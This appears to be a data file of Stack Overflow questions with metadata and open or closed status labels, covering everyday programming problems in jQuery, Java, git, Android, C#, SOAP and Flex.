PostId int64 13 11.8M | PostCreationDate stringlengths 19 19 | OwnerUserId int64 3 1.57M | OwnerCreationDate stringlengths 10 19 | ReputationAtPostCreation int64 -33 210k | OwnerUndeletedAnswerCountAtPostTime int64 0 5.77k | Title stringlengths 10 250 | BodyMarkdown stringlengths 12 30k | Tag1 stringlengths 1 25 ⌀ | Tag2 stringlengths 1 25 ⌀ | Tag3 stringlengths 1 25 ⌀ | Tag4 stringlengths 1 25 ⌀ | Tag5 stringlengths 1 25 ⌀ | PostClosedDate stringlengths 19 19 ⌀ | OpenStatus stringclasses 5 values | unified_texts stringlengths 47 30.1k | OpenStatus_id int64 0 4 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
10,720,768 | 05/23/2012 13:17:11 | 1,141,174 | 01/10/2012 15:16:31 | 15 | 0 | Add image uploaded with uploadify to tinymce textarea | I'm trying to build a script that would allow me to post articles. The user should be allowed to add images at the end of the article. I would like to solve this by allowing the user to write the article first and then upload some images. When the images are uploaded, they should automatically be added at the end of the tinymce textarea. I get the filename, but don't know how to add it to the Tinymce.
I tried with jquery's append, but it doesn't work.
Thank you for your answers :) | jquery | tinymce | uploadify | null | null | null | open | Add image uploaded with uploadify to tinymce textarea
===
I'm trying to build a script that would allow me to post articles. The user should be allowed to add images at the end of the article. I would like to solve this by allowing the user to write the article first and then upload some images. When the images are uploaded, they should automatically be added at the end of the tinymce textarea. I get the filename, but don't know how to add it to the Tinymce.
I tried with jquery's append, but it doesn't work.
Thank you for your answers :) | 0 |
6,809,704 | 07/24/2011 21:01:30 | 732,629 | 04/30/2011 18:05:22 | 8 | 0 | which classes are more relevant to a discrete event simulation ? | I should develop a simulator of a distributed system such as a grid or P2P, I mean an application in java that simulate different operations in such systems ( research of resources, communication protocols like multicast...), it is clear I should use a discrete event simulation, My question is: What could you suggest me in term of classes java that I have to use, threads, Tally and so on.....
Thanks and best regards. | java | simulation | null | null | null | 07/24/2011 23:27:11 | not constructive | which classes are more relevant to a discrete event simulation ?
===
I should develop a simulator of a distributed system such as a grid or P2P, I mean an application in java that simulate different operations in such systems ( research of resources, communication protocols like multicast...), it is clear I should use a discrete event simulation, My question is: What could you suggest me in term of classes java that I have to use, threads, Tally and so on.....
Thanks and best regards. | 4 |
8,369,757 | 12/03/2011 18:06:25 | 1,079,214 | 12/03/2011 17:19:36 | 1 | 0 | Add existing source code folders into Local Git Repository | Let's say I have two existing folders that I want to put under Git source control. One is called "CurrentProduction" and the other "CurrentDevelopment". Would the following steps be correct?
1. Create a new folder called MyProject
2. Do a "git init"
2. Move the CurrentProduction contents to MyProject
4. Do a "git add ."
5. Do a "git commit -m 'initial master commit'"
6. Do a "git checkout -b develop"
7. Delete all files in MyProject (except for the .git folder of course)
8. Move the CurrentDevelopment contents to MyProject
9. Do a "git add -A"
10. Do a "git commit -m 'initial develop commit'
Or is there a "different" way?
Thanks. | git | git-add | null | null | null | null | open | Add existing source code folders into Local Git Repository
===
Let's say I have two existing folders that I want to put under Git source control. One is called "CurrentProduction" and the other "CurrentDevelopment". Would the following steps be correct?
1. Create a new folder called MyProject
2. Do a "git init"
2. Move the CurrentProduction contents to MyProject
4. Do a "git add ."
5. Do a "git commit -m 'initial master commit'"
6. Do a "git checkout -b develop"
7. Delete all files in MyProject (except for the .git folder of course)
8. Move the CurrentDevelopment contents to MyProject
9. Do a "git add -A"
10. Do a "git commit -m 'initial develop commit'
Or is there a "different" way?
Thanks. | 0 |
1,252,092 | 08/09/2009 19:51:03 | 48,465 | 12/22/2008 20:24:42 | 1,940 | 61 | Is it possible to update an entry on Google App Engine datastore through the object's dictionary? | I tried the following code and it didn't work:
class SourceUpdate(webapp.RequestHandler):
def post(self):
id = int(self.request.get('id'))
source = Source.get_by_id(id)
for property in self.request.arguments():
if property != 'id':
source.__dict__[property] = self.request.get(property)
source.put()
self.redirect('/source')
I am posting all the necessary properties but the entry isn't updated, and no error is shown. How to fix it?
BTW
class Source(db.Model):
#some string properties
| python | google-app-engine | google-datastore | null | null | null | open | Is it possible to update an entry on Google App Engine datastore through the object's dictionary?
===
I tried the following code and it didn't work:
class SourceUpdate(webapp.RequestHandler):
def post(self):
id = int(self.request.get('id'))
source = Source.get_by_id(id)
for property in self.request.arguments():
if property != 'id':
source.__dict__[property] = self.request.get(property)
source.put()
self.redirect('/source')
I am posting all the necessary properties but the entry isn't updated, and no error is shown. How to fix it?
BTW
class Source(db.Model):
#some string properties
| 0 |
1,208,968 | 07/30/2009 19:55:57 | 142,937 | 07/22/2009 15:19:30 | 8 | 1 | Complicated Javascript Calculation | I've got a fairly large table that needs to have a total on the right side and bottom for daily totals.
I've been able to get the side to total correctly, but not the bottom.
I may be thinking too little of this, but currently I have this: (Yes, I know it's not correct and doesn't work. I was testing)
HorizVertiCalc = function(h, v){
$('.R'+r).sum("keyup", ".vttl"+v);
$('.C'+v).sum("keyup", ".vtotal"+r+v);
}
<cfloop from="1" to="#ArrayLen(labels)#" index="r">
<tr>
<td class="labels"><cfif ArrayIsDefined(labels,r) AND labels[r] NEQ "Open">#labels[r]#</cfif></td>
<cfloop from="1" to="7" index="i">
<td id="Day#i#" class="row#r# col#i#">
<cfif r EQ 1>#Left(DayOfWeekAsString(i),3)#<cfelse><cfif r EQ 2><input type="text" class="date-mask" /><cfelse><input type="text" class="calc horizontal#r# vertical#i# vtotal#r##i#" onkeypress="return HorizVertiCalc(#r#, #i#)" /></cfif></cfif></td>
</cfloop>
<td class="totals"><cfif r EQ 1>Total<cfelse><input type="text" class="ttl#r# vttl#i#" readonly="readonly" /></cfif></td>
</tr>
</cfloop>
As you can see, I'm producing the table with loops, and so I need to get the total for each column and each row.
Link to the example is: http://mercury.hamilton.edu/devmpstone/forms-pdf/testing2.cfm | jquery | calculation | javascript | coldfusion | null | null | open | Complicated Javascript Calculation
===
I've got a fairly large table that needs to have a total on the right side and bottom for daily totals.
I've been able to get the side to total correctly, but not the bottom.
I may be thinking too little of this, but currently I have this: (Yes, I know it's not correct and doesn't work. I was testing)
HorizVertiCalc = function(h, v){
$('.R'+r).sum("keyup", ".vttl"+v);
$('.C'+v).sum("keyup", ".vtotal"+r+v);
}
<cfloop from="1" to="#ArrayLen(labels)#" index="r">
<tr>
<td class="labels"><cfif ArrayIsDefined(labels,r) AND labels[r] NEQ "Open">#labels[r]#</cfif></td>
<cfloop from="1" to="7" index="i">
<td id="Day#i#" class="row#r# col#i#">
<cfif r EQ 1>#Left(DayOfWeekAsString(i),3)#<cfelse><cfif r EQ 2><input type="text" class="date-mask" /><cfelse><input type="text" class="calc horizontal#r# vertical#i# vtotal#r##i#" onkeypress="return HorizVertiCalc(#r#, #i#)" /></cfif></cfif></td>
</cfloop>
<td class="totals"><cfif r EQ 1>Total<cfelse><input type="text" class="ttl#r# vttl#i#" readonly="readonly" /></cfif></td>
</tr>
</cfloop>
As you can see, I'm producing the table with loops, and so I need to get the total for each column and each row.
Link to the example is: http://mercury.hamilton.edu/devmpstone/forms-pdf/testing2.cfm | 0 |
961,942 | 06/07/2009 14:08:39 | 84,671 | 03/30/2009 14:59:11 | 906 | 25 | What is the worst programming language you ever worked with? | We are programmers, and our primary tool is the programming language we use.
While there is a lot of discussion about the best one, **I'd like to hear your stories about
the worst programming languages you ever worked with** an I'd like to know exactly what annoyed you.
I'd like to collect this stories partly to avoid common pitfalls while designing a language (especially a DSL) and partly to avoid quirky languages in the future in general.
Here is my contribution:
Origin LabTalk
--------------
My all-time favourite in this regard is <a href="http://www.originlab.com/">Origin LabTalk</a>.
In LabTalk the maximum length of a string variable identifier is **one** character.
That is, there are only 26 string variables at all. Even worse, some of them are used by Origin itself, and it is not clear which ones.
From the manual:
> LabTalk uses the % notation to define
> a string variable. A legal string
> variable name must be a % character
> followed by a single alphabetic
> character (a letter from A to Z).
> String variable names are
> caseinsensitive. Of all the 26 string
> variables that exist, Origin itself
> uses 14.
Doors DXL
---------
For me the second worst is <a href="http://www.ibm.com/developerworks/forums/forum.jspa?forumID=1527&categoryID=24">Doors DXL</a>.
Programming languages can be divided into two groups:
Those with manual memory management (e.g. delete, free) and those with a garbage collector.
Some languages offer both, but DXL is probably the only language in the world that
supports neither. OK, to be honest this is only true for strings, but hey, strings aren't exactly
the most rarely used data type in requirements engineering software.
The consequence is that memory used by a string can never be reclaimed and
DOORS DXL leaks like sieve.
There are countless other quirks in DXL, just to name a few:
- <a
href="http://www.smartdxl.com/functions.html">DXL function syntax</a>
- <a href="http://stackoverflow.com/questions/960146/are-the-dynamic-arrays-in-doors-data-base-worth-using">DXL arrays</a> | doors | dxl | labtalk | quirks | null | 07/01/2009 20:54:21 | not constructive | What is the worst programming language you ever worked with?
===
We are programmers, and our primary tool is the programming language we use.
While there is a lot of discussion about the best one, **I'd like to hear your stories about
the worst programming languages you ever worked with** an I'd like to know exactly what annoyed you.
I'd like to collect this stories partly to avoid common pitfalls while designing a language (especially a DSL) and partly to avoid quirky languages in the future in general.
Here is my contribution:
Origin LabTalk
--------------
My all-time favourite in this regard is <a href="http://www.originlab.com/">Origin LabTalk</a>.
In LabTalk the maximum length of a string variable identifier is **one** character.
That is, there are only 26 string variables at all. Even worse, some of them are used by Origin itself, and it is not clear which ones.
From the manual:
> LabTalk uses the % notation to define
> a string variable. A legal string
> variable name must be a % character
> followed by a single alphabetic
> character (a letter from A to Z).
> String variable names are
> caseinsensitive. Of all the 26 string
> variables that exist, Origin itself
> uses 14.
Doors DXL
---------
For me the second worst is <a href="http://www.ibm.com/developerworks/forums/forum.jspa?forumID=1527&categoryID=24">Doors DXL</a>.
Programming languages can be divided into two groups:
Those with manual memory management (e.g. delete, free) and those with a garbage collector.
Some languages offer both, but DXL is probably the only language in the world that
supports neither. OK, to be honest this is only true for strings, but hey, strings aren't exactly
the most rarely used data type in requirements engineering software.
The consequence is that memory used by a string can never be reclaimed and
DOORS DXL leaks like sieve.
There are countless other quirks in DXL, just to name a few:
- <a
href="http://www.smartdxl.com/functions.html">DXL function syntax</a>
- <a href="http://stackoverflow.com/questions/960146/are-the-dynamic-arrays-in-doors-data-base-worth-using">DXL arrays</a> | 4 |
4,315,736 | 11/30/2010 16:01:07 | 138,627 | 07/15/2009 10:24:43 | 370 | 8 | WPF - ObservableCollection casting | I have a method named 'PersonsMeeting' that gets as parameter ObservableCollection of Person. Can I somehow deliver it an ObservableCollection of Employee ? what casting do I need ?
public partial class MainWindow : Window
{
public ObservableCollection<Employee> Emp { get; set; }
public MainWindow()
{
Emp = new ObservableCollection<Employee>();
InitializeComponent();
PersonsMeeting(Emp); // How Do I Cast this ?!?!?!??
}
private void PersonsMeeting(ObservableCollection<Person> persons)
{
// ....
}
}
public class Person{}
public class Employee : Person{}
| c# | wpf | null | null | null | null | open | WPF - ObservableCollection casting
===
I have a method named 'PersonsMeeting' that gets as parameter ObservableCollection of Person. Can I somehow deliver it an ObservableCollection of Employee ? what casting do I need ?
public partial class MainWindow : Window
{
public ObservableCollection<Employee> Emp { get; set; }
public MainWindow()
{
Emp = new ObservableCollection<Employee>();
InitializeComponent();
PersonsMeeting(Emp); // How Do I Cast this ?!?!?!??
}
private void PersonsMeeting(ObservableCollection<Person> persons)
{
// ....
}
}
public class Person{}
public class Employee : Person{}
| 0 |
10,316,757 | 04/25/2012 13:30:45 | 750,398 | 05/12/2011 10:44:30 | 382 | 1 | Need help regarding very basic issue about .Net program execution flow and basic oops related | Doubt about .net program execution flow
for few year i am working as a develop but i have lack of knowledge for how C# win or web apps run. when we run application from IDE then how compiler come into scene to compile our program and after then how program start....how CLR come into scene and how JIT come into scene. who take control over the entry point of program. who invoke program entry point so called static void Main() from outside like. how CLR involve to take the responsibility for executing the program & Who involve the CLR. how JIT involve and who involve the JIT. why the entry point is static void main() ?
lot of book help us to write code with C# but never talk about the program execution flow....how a .net program is running. when we click on any .net exe then how exe is getting run. so i have some doubt....if possible then please discuss the above issue in detail or point me towards right article.
Doubt about OOPS
1) i saw a class which was private but constructor was public....why...what does it mean. is there any special purpose that is why class is designed like this.
2) i saw public class but it has three constructor one was private, one was static and last one was public......is there any special purpose to design a class in this way.
3) static class always have static constructor?
4) if a public class has normal constructor along with static constructor then what will be the purpose.
if possible then please discuss the above OOPS issue in details........thanks
| c# | .net | oop | null | null | 04/25/2012 13:41:52 | not a real question | Need help regarding very basic issue about .Net program execution flow and basic oops related
===
Doubt about .net program execution flow
for few year i am working as a develop but i have lack of knowledge for how C# win or web apps run. when we run application from IDE then how compiler come into scene to compile our program and after then how program start....how CLR come into scene and how JIT come into scene. who take control over the entry point of program. who invoke program entry point so called static void Main() from outside like. how CLR involve to take the responsibility for executing the program & Who involve the CLR. how JIT involve and who involve the JIT. why the entry point is static void main() ?
lot of book help us to write code with C# but never talk about the program execution flow....how a .net program is running. when we click on any .net exe then how exe is getting run. so i have some doubt....if possible then please discuss the above issue in detail or point me towards right article.
Doubt about OOPS
1) i saw a class which was private but constructor was public....why...what does it mean. is there any special purpose that is why class is designed like this.
2) i saw public class but it has three constructor one was private, one was static and last one was public......is there any special purpose to design a class in this way.
3) static class always have static constructor?
4) if a public class has normal constructor along with static constructor then what will be the purpose.
if possible then please discuss the above OOPS issue in details........thanks
| 1 |
11,709,255 | 07/29/2012 12:31:32 | 931,067 | 09/06/2011 15:59:20 | 64 | 0 | Latex tikz - auto resize block to fit text | Hi i got this kind of code in latex using tikz:
\documentclass{article}
\usepackage{tikz}
\usetikzlibrary{shapes,arrows}
\begin{document}
\tikzstyle{block} = [draw,rectangle,fill=blue!50,text width=8em, text centered,minimum height=8mm,node distance=10em]
\tikzstyle{line} = [draw, -latex']
\begin{tikzpicture}
\tikzstyle{every node}=[font=\small]
\node [block, xshift=-3em](start){ST\_Category};
\node [block, right of=start, xshift=5em](process1){Process 1};
\end{tikzpicture}
\end{document}
Blocks got fixed size. All i want to achieve to have those block auto resize to fit longer text. So the block getting withders when text is longer. For example if in first block text will be "DASDASDADASDASDASDAS" it will go over the block borders which will look bad. I what those blocks to automatically expand when the text is longer.
| pdf | latex | diagram | tikz | null | 07/30/2012 17:18:57 | off topic | Latex tikz - auto resize block to fit text
===
Hi i got this kind of code in latex using tikz:
\documentclass{article}
\usepackage{tikz}
\usetikzlibrary{shapes,arrows}
\begin{document}
\tikzstyle{block} = [draw,rectangle,fill=blue!50,text width=8em, text centered,minimum height=8mm,node distance=10em]
\tikzstyle{line} = [draw, -latex']
\begin{tikzpicture}
\tikzstyle{every node}=[font=\small]
\node [block, xshift=-3em](start){ST\_Category};
\node [block, right of=start, xshift=5em](process1){Process 1};
\end{tikzpicture}
\end{document}
Blocks got fixed size. All i want to achieve to have those block auto resize to fit longer text. So the block getting withders when text is longer. For example if in first block text will be "DASDASDADASDASDASDAS" it will go over the block borders which will look bad. I what those blocks to automatically expand when the text is longer.
| 2 |
9,815,405 | 03/22/2012 01:52:02 | 291,180 | 03/11/2010 04:58:00 | 2,677 | 138 | How can I have Multi-line Form Labels? | If I set a sufficiently long label for any kind of form element, or the `title` of a `FieldSet`, it just grows horizontally forever. How can I force these to wrap to the next line instead of creating horizontal scrollbars? | extjs | sencha-touch | sencha-touch-2 | null | null | null | open | How can I have Multi-line Form Labels?
===
If I set a sufficiently long label for any kind of form element, or the `title` of a `FieldSet`, it just grows horizontally forever. How can I force these to wrap to the next line instead of creating horizontal scrollbars? | 0 |
8,940,636 | 01/20/2012 11:21:42 | 197,369 | 10/27/2009 13:58:22 | 918 | 27 | Looking for a website to fetch city information in a mobile (android) app through JSON/JQuery | Can someone refer me a website to fetch city information in a mobile app using JSON/JQuery. Thanks | jquery | android | json | null | null | 01/20/2012 17:25:06 | off topic | Looking for a website to fetch city information in a mobile (android) app through JSON/JQuery
===
Can someone refer me a website to fetch city information in a mobile app using JSON/JQuery. Thanks | 2 |
6,210,536 | 06/02/2011 04:50:11 | 744,585 | 05/09/2011 05:44:14 | 1 | 0 | jqGrid does not selects cell value as a selected dorp down value In edit mode | I am using jqGrid v 4.0 in my application to display tabuler data with Inline edit feature. One of the column in the Grid is a type of "Select". I have populated this select with following server side code:
//get all Departments
HRDept = $.ajax({
url: '../../PerformanceReview/GetHRDepartments/',
async: false,
success: function(data, result) {
if (!result)
alert('Failure to retrieve the HR Departments.');
}
}).responseText;
I have populated the Grid column with following sysntax:
name: 'HRDepartment', index: 'Department', align: 'left', editable: true, edittype: 'select', editoptions: {value: HRDept}
But on click of edit button (inline), it shows dropdown on on top of cell but the value is not equal to current cell value. it is always first value of drop down. I had compared the text which i am populating while loading Grid with the text of Dropdown and they are matching.
Could some one help me to set dropdown value similar as cell value. | jqgrid | null | null | null | null | null | open | jqGrid does not selects cell value as a selected dorp down value In edit mode
===
I am using jqGrid v 4.0 in my application to display tabuler data with Inline edit feature. One of the column in the Grid is a type of "Select". I have populated this select with following server side code:
//get all Departments
HRDept = $.ajax({
url: '../../PerformanceReview/GetHRDepartments/',
async: false,
success: function(data, result) {
if (!result)
alert('Failure to retrieve the HR Departments.');
}
}).responseText;
I have populated the Grid column with following sysntax:
name: 'HRDepartment', index: 'Department', align: 'left', editable: true, edittype: 'select', editoptions: {value: HRDept}
But on click of edit button (inline), it shows dropdown on on top of cell but the value is not equal to current cell value. it is always first value of drop down. I had compared the text which i am populating while loading Grid with the text of Dropdown and they are matching.
Could some one help me to set dropdown value similar as cell value. | 0 |
9,077,549 | 01/31/2012 10:00:35 | 1,177,965 | 01/30/2012 11:37:45 | 1 | 0 | Display list of active(running) applications in a list view | Hi I am trying to write an application that displays the list of running applications. I used activity manager for that. While running the application, It is showing the following error."UNHANDLED EVENT LOOP EXECUTION" IN ERROR LOG and application is force closing.
Please help me to find my mistake.
My code is given below.
package com.android.taskmanager.activeapplications;
import java.util.List;
import android.app.ActivityManager;
import android.app.ListActivity;
import android.content.Context;
import android.os.Bundle;
import android.view.View;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import android.widget.Toast;
public class ActiveApplicationsActivity extends ListActivity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> l = am.getRunningAppProcesses();
String[] sl = (String[]) l.toArray();
ArrayAdapter<String> adapter = new ArrayAdapter<String>(this,
android.R.layout.simple_list_item_1,sl);
setListAdapter(adapter);
}
@Override
protected void onListItemClick(ListView l,View v,int position, long id){
String item = (String)getListAdapter().getItem(position);
Toast.makeText(this, item + " selected", Toast.LENGTH_LONG).show();
}
} | android | eclipse | null | null | null | null | open | Display list of active(running) applications in a list view
===
Hi I am trying to write an application that displays the list of running applications. I used activity manager for that. While running the application, It is showing the following error."UNHANDLED EVENT LOOP EXECUTION" IN ERROR LOG and application is force closing.
Please help me to find my mistake.
My code is given below.
package com.android.taskmanager.activeapplications;
import java.util.List;
import android.app.ActivityManager;
import android.app.ListActivity;
import android.content.Context;
import android.os.Bundle;
import android.view.View;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import android.widget.Toast;
public class ActiveApplicationsActivity extends ListActivity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> l = am.getRunningAppProcesses();
String[] sl = (String[]) l.toArray();
ArrayAdapter<String> adapter = new ArrayAdapter<String>(this,
android.R.layout.simple_list_item_1,sl);
setListAdapter(adapter);
}
@Override
protected void onListItemClick(ListView l,View v,int position, long id){
String item = (String)getListAdapter().getItem(position);
Toast.makeText(this, item + " selected", Toast.LENGTH_LONG).show();
}
} | 0 |
8,008,393 | 11/04/2011 11:13:55 | 1,029,547 | 11/04/2011 11:06:47 | 1 | 0 | How to plot a function correctly? | Yes, I want to plot a function, but the problem is how to do it correctly? Does exist any method? I have got a mathematical parser for given string functions, so here, there isn't a problem... I' want know how to do:
1) Plotting
2) Zoom-in Zoom-out
3) Moving with keys ( I know how to drive the keyboard )
How you can see, I know programming, but the problem is the best method...
Any book? Any idea?
Thank you!
PS: Functions are 2D. | algorithm | graphics | methods | null | null | 11/04/2011 16:54:30 | not a real question | How to plot a function correctly?
===
Yes, I want to plot a function, but the problem is how to do it correctly? Does exist any method? I have got a mathematical parser for given string functions, so here, there isn't a problem... I' want know how to do:
1) Plotting
2) Zoom-in Zoom-out
3) Moving with keys ( I know how to drive the keyboard )
How you can see, I know programming, but the problem is the best method...
Any book? Any idea?
Thank you!
PS: Functions are 2D. | 1 |
10,349,275 | 04/27/2012 10:50:20 | 1,199,657 | 02/09/2012 12:38:11 | 194 | 8 | Remember dropdown selection in a jsp file | I have a dropdown list in a jsp file
<select name="PID" id="PID" style="min-width: 100px;" >
<%
for(somelist pm : List) { %>
<option value="<%=pm.getsmthing()%>" selected><%=pm.getName()%></option>
<option value="-1">Select a Property</option>
</select>
This is inside a form. I want to remember the selected item name after submission of the form. | html | jsp | null | null | null | null | open | Remember dropdown selection in a jsp file
===
I have a dropdown list in a jsp file
<select name="PID" id="PID" style="min-width: 100px;" >
<%
for(somelist pm : List) { %>
<option value="<%=pm.getsmthing()%>" selected><%=pm.getName()%></option>
<option value="-1">Select a Property</option>
</select>
This is inside a form. I want to remember the selected item name after submission of the form. | 0 |
2,384,057 | 03/05/2010 01:50:42 | 147,365 | 07/29/2009 19:45:43 | 15 | 0 | Cannot remove git repository completely | I have been using git on windows-msysgit. Whenever I try to remove a repository completely either using explorer or using
$ git rm -rf ptp/
fatal: Not a git repository (or any of the parent directories): .git
it errors out "The data present in the reparse point buffer is invalid" or the fatal error above.
What's wrong with me/git?
Thanks in advance | git | git-remote | remove | null | null | null | open | Cannot remove git repository completely
===
I have been using git on windows-msysgit. Whenever I try to remove a repository completely either using explorer or using
$ git rm -rf ptp/
fatal: Not a git repository (or any of the parent directories): .git
it errors out "The data present in the reparse point buffer is invalid" or the fatal error above.
What's wrong with me/git?
Thanks in advance | 0 |
1,242,355 | 08/07/2009 00:57:23 | 57,325 | 01/21/2009 01:19:31 | 6 | 0 | Best way to store large dataset in MSSQL Server? | I have a dataset which contains a string key field and up to 50 keywords associated with that information. Once the data has been inserted into the database there will be very few writes (INSERTS) but mostly queries for one or more keywords.
I have read http://www.pui.ch/phred/archives/2005/06/tagsystems-performance-tests.html which is MySQL based and it seems 2NF appears to be a good method for implementing this, however I was wondering if anyone had experience with doing this with SQL Server 2008 and very large datasets.
I am likely to initially have 1 million key fields which could have up to 50 keywords each.
Would a structure of
keyfield, keyword1, keyword2, ... , keyword50
be the best solution or two tables
keyid
keyfield
| 1
|
| M
keyid
keyword
Be a better idea if my queries are mostly going to be looking for results that have one or more keywords?
Thanks in advance | sql | sql-server-2008 | sql-server | data-structures | database | null | open | Best way to store large dataset in MSSQL Server?
===
I have a dataset which contains a string key field and up to 50 keywords associated with that information. Once the data has been inserted into the database there will be very few writes (INSERTS) but mostly queries for one or more keywords.
I have read http://www.pui.ch/phred/archives/2005/06/tagsystems-performance-tests.html which is MySQL based and it seems 2NF appears to be a good method for implementing this, however I was wondering if anyone had experience with doing this with SQL Server 2008 and very large datasets.
I am likely to initially have 1 million key fields which could have up to 50 keywords each.
Would a structure of
keyfield, keyword1, keyword2, ... , keyword50
be the best solution or two tables
keyid
keyfield
| 1
|
| M
keyid
keyword
Be a better idea if my queries are mostly going to be looking for results that have one or more keywords?
Thanks in advance | 0 |
9,461,835 | 02/27/2012 08:14:21 | 880,472 | 08/05/2011 11:36:45 | 429 | 8 | Get/Count Number of Entities? | ERP_EMIModelContainer context = new ERP_EMIModelContainer();
...
How can I get these? Didn't find out yet -_-
When I have a Entity: Order and Customer, then countresult will be 2 and so on.. | c# | entity-framework-4 | linq-to-entities | null | null | 02/27/2012 09:08:52 | not a real question | Get/Count Number of Entities?
===
ERP_EMIModelContainer context = new ERP_EMIModelContainer();
...
How can I get these? Didn't find out yet -_-
When I have a Entity: Order and Customer, then countresult will be 2 and so on.. | 1 |
11,275,918 | 06/30/2012 16:58:29 | 1,493,281 | 06/30/2012 16:53:06 | 1 | 0 | Android RC car app | I'm a beginner at android stuff. I'd like to create an app that would control a toy car with the accelerometer. Can you guys tell me how to communicate with the external device? What mode of datalink i should use?
Pls do share your opinion on this topic..
Thanks in advance! :) | android | remote | control | rc | null | 07/04/2012 02:27:52 | not a real question | Android RC car app
===
I'm a beginner at android stuff. I'd like to create an app that would control a toy car with the accelerometer. Can you guys tell me how to communicate with the external device? What mode of datalink i should use?
Pls do share your opinion on this topic..
Thanks in advance! :) | 1 |
8,815,919 | 01/11/2012 07:55:23 | 274,299 | 02/16/2010 11:16:32 | 2,182 | 55 | Erlang exmpp session start timeout error | I run ejabberd. And try to start 100 bots written with exmpp at the same time. But when some bots started 40 - 50 remaining bots can't connect/login to ejabberd i got error:
=INFO REPORT==== 11-Jan-2012::01:50:04 ===
{timeout,{gen_fsm,sync_send_event,
[<0.303.0>,
{connect_socket,"myhost",5222,[]},
5000]}}
How can i run many exmpp sessions in one time?
Thank you. | erlang | xmpp | bots | exmpp | null | 01/12/2012 13:51:02 | off topic | Erlang exmpp session start timeout error
===
I run ejabberd. And try to start 100 bots written with exmpp at the same time. But when some bots started 40 - 50 remaining bots can't connect/login to ejabberd i got error:
=INFO REPORT==== 11-Jan-2012::01:50:04 ===
{timeout,{gen_fsm,sync_send_event,
[<0.303.0>,
{connect_socket,"myhost",5222,[]},
5000]}}
How can i run many exmpp sessions in one time?
Thank you. | 2 |
7,984,173 | 11/02/2011 16:51:00 | 625,103 | 12/30/2010 09:00:54 | 513 | 45 | Extending enum with Flags, interfere the current use | The system have a plain enum like this,
public enum SomeEnum : short
{
Ok = 0,
Missing = 17,
};
This enum are now into a situation where I need to mask some more information into it without change the appearence of the existing enum values. The enum will got some new values,
public enum SomeEnum : short
{
Ok = 0,
Missing = 17,
Blocking = 18, // Values could be anything
Low = 19, // Values could be anything
};
I was afraid there could be problem to the current enum usage. It appears that I'm right, but **I hope i'm proved wrong with your help**. The usage until today are built around `SomeEnum.Ok`. Also tomorrow, but the Ok need additional info. I need to mask the enum values without affect it's current behavior, which could came from any common reference;
someEnumVariable.ToString()
(int)someEnumVariable
someVar = SomeEnum.Ok
Enum.Parse(typeOf(SomeEnum), someString)
If I flag the enum with <br>
`var test = (SomeEnum.Ok | SomeEnum.Blocking);` <br>
Both flags can be founded i.e. `test.HasFlags(SomeEnum.Ok)` or `test.HasFlags(SomeEnum.Blocking)` but the enum represents as SomeEnum.Blocking, which aren't possible.
Any ideas? | c# | enums | null | null | null | null | open | Extending enum with Flags, interfere the current use
===
The system have a plain enum like this,
public enum SomeEnum : short
{
Ok = 0,
Missing = 17,
};
This enum are now into a situation where I need to mask some more information into it without change the appearence of the existing enum values. The enum will got some new values,
public enum SomeEnum : short
{
Ok = 0,
Missing = 17,
Blocking = 18, // Values could be anything
Low = 19, // Values could be anything
};
I was afraid there could be problem to the current enum usage. It appears that I'm right, but **I hope i'm proved wrong with your help**. The usage until today are built around `SomeEnum.Ok`. Also tomorrow, but the Ok need additional info. I need to mask the enum values without affect it's current behavior, which could came from any common reference;
someEnumVariable.ToString()
(int)someEnumVariable
someVar = SomeEnum.Ok
Enum.Parse(typeOf(SomeEnum), someString)
If I flag the enum with <br>
`var test = (SomeEnum.Ok | SomeEnum.Blocking);` <br>
Both flags can be founded i.e. `test.HasFlags(SomeEnum.Ok)` or `test.HasFlags(SomeEnum.Blocking)` but the enum represents as SomeEnum.Blocking, which aren't possible.
Any ideas? | 0 |
7,384,028 | 09/12/2011 06:25:08 | 769,829 | 05/25/2011 15:09:14 | 222 | 1 | SOAP Header Using | I'm trying to establish a connection to SOAP web service.But,I need to send username and password with through header tag.
So I have to send inside the wsse:UsernameToken tag.Otherwise,I don't have any idea regarding the use of SOAP header.
What should I do?Any ideas? | xml | soap | null | null | null | 09/12/2011 11:40:50 | not a real question | SOAP Header Using
===
I'm trying to establish a connection to SOAP web service.But,I need to send username and password with through header tag.
So I have to send inside the wsse:UsernameToken tag.Otherwise,I don't have any idea regarding the use of SOAP header.
What should I do?Any ideas? | 1 |
10,002,514 | 04/03/2012 22:43:33 | 1,118,559 | 08/05/2011 05:26:30 | 18 | 4 | Smart GWT purchasing license. | I currently use GWT and wanted to clarify if smart GWT is free for commercial use or not? | smartgwt | null | null | null | null | null | open | Smart GWT purchasing license.
===
I currently use GWT and wanted to clarify if smart GWT is free for commercial use or not? | 0 |
4,131,197 | 11/09/2010 07:00:13 | 233,572 | 12/17/2009 07:12:38 | 862 | 24 | have problem with menu item click event in flex actionscript? | i go through the code several times but can not figure out the problem help required here is the code;
menuItems = [{label:"60 Minutes View" , type:"radio", toggled:"true"},{label:"30 Minutes View" , type:"radio"},{label:"20 Minutes View" , type:"radio"},{label:"15 Minutes View" , type:"radio"},{label:"10 Minutes View" , type:"radio"},{label:"6 Minutes View" , type:"radio"},{label:"5 Minutes View" , type:"radio"}];
menu = Menu.createMenu( parentInstance, menuItems, false );
menu.addEventListener(MenuEvent.ITEM_CLICK,menuClick);
protected function menuClick(evt:MenuEvent):void
{
Alert.show("here is " + evt.item + " 23");
switch (evt.label)
{
case "60 Minutes View":
this.ChangeLayout(60);
break;
case "30 Minutes View":
this.ChangeLayout(30);
break;
case "20 Minutes View":
this.ChangeLayout(30);
break;
case "15 Minutes View":
this.ChangeLayout(15);
break;
case "10 Minutes View":
this.ChangeLayout(10);
break;
case "6 Minutes View":
this.ChangeLayout(6);
break;
case "5 Minutes View":
this.ChangeLayout(5);
break;
default:
break;
}//end switch
}//end function
but is doesn't even capture the item click event . | flex | actionscript-3 | events | menuitem | null | null | open | have problem with menu item click event in flex actionscript?
===
